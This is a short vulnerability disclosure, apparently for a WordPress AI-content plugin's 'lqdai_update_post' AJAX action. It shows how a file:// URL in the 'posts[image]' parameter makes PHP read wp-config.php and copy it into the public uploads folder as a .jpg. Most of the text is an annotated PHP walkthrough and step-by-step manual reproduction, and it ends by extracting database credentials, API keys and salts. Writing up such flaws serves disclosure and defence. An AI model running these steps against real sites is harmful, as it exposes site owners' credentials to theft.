### **Path Construction and File Naming**
The vulnerable path construction allows reading local files via the `file://` protocol:

```php
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content
```



## Manual Reproduction
1. Login to WordPress as a Contributor (or any user with post editing capabilities).
2. Create a new post draft to obtain a post ID.
3. Use browser developer tools or a tool like Burp Suite to intercept traffic.
4. Intercept a request to `/wp-admin/admin-ajax.php` calling the `lqdai_update_post` action.
5. Modify the request to include a `file://` protocol URL in the `posts[image]` parameter.
6. Send the request with `posts[image]=file:///var/www/html/wp-config.php` to read the WordPress configuration file.
7. Access the file via the uploads directory URL: `/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg`.
8. Extract sensitive configuration files including database credentials, API keys, and security salts.
